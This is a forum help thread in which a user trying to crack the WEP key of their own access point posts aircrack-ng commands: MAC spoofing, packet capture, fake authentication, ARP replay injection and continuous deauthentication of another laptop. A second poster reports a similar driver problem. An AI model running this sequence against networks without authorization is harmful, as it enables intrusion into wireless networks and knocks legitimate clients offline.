got ARP's but injection doesn't work

[underdog]

Hi all,
I'm hacking my AP with 2 laptops: my own with a 3945abg chipset (with ipwraw drivers) and my dad's laptop (don't know which chipset, just to generate ARP's)

What I do:
ifconfig wifi0 down
ifconfig rtap0 down
macchanger -m 00:11:22:33:44:55 wifi0
pico /sys/class/net/wifi0/device/bssid
I change this to the AP mac
/sys/class/net/wifi0/device/channel
I change this to 6 (channel of the AP)
/sys/class/net/wifi0/device/rate
I change this to 2, don't know why, it's just in the wiki

ifconfig wifi0 up
ifconfig rtap0 up
./airodump-ng -w giveitago -c 6 --bssid macofAP rtap0
(airodump should be runned by rtap0,its in the wiki)
I authenticate:
./aireplay-ng -1 0 -a macap -h 00:11:22:33:44:55 -e essidofap wifi0
12:14:06 Sending Authentication Request
12:14:06 Authentication successful
12:14:06 Sending Association Request
12:14:07 Association successful :-)

Then I start this:
./aireplay-ng -3 -b macap -h 00:11:22:33:44:55 -e essidofap wifi0

To get an ARP request I deauth my dad:
./aireplay-ng --deauth 0 -a macofap -c macofmydad wifi0

Then I get this:
Read 7071 packets (got 6 ARP requests and 498 ACKs), sent 5633 packets...(499 pp


Then I thin: yezzzzzzzz, but I should think noooo

The 935 raises but the 48 doesn't rase at all
I read on the airecrack wiki that the problem could be that I'm not associated but I really am I think, because aireplay said associaton succesful.
Somebody an Idea ?
I used the tutorials of xploitz (they are really nice man !), the airecrack wiki and the forums over here. You guys have a really nice forum

Thanks in advance,

i use the live disrti of bt3 and my problem is similar...and I found, that i have to use rtap0. But it isnt possible to start rtap0..."ifconfig rtap0 up" doesn't work...i can make a authentication with wifi0, but with rtap0 nothing works...naturally i load ipwraw-ng..

thank you for your help
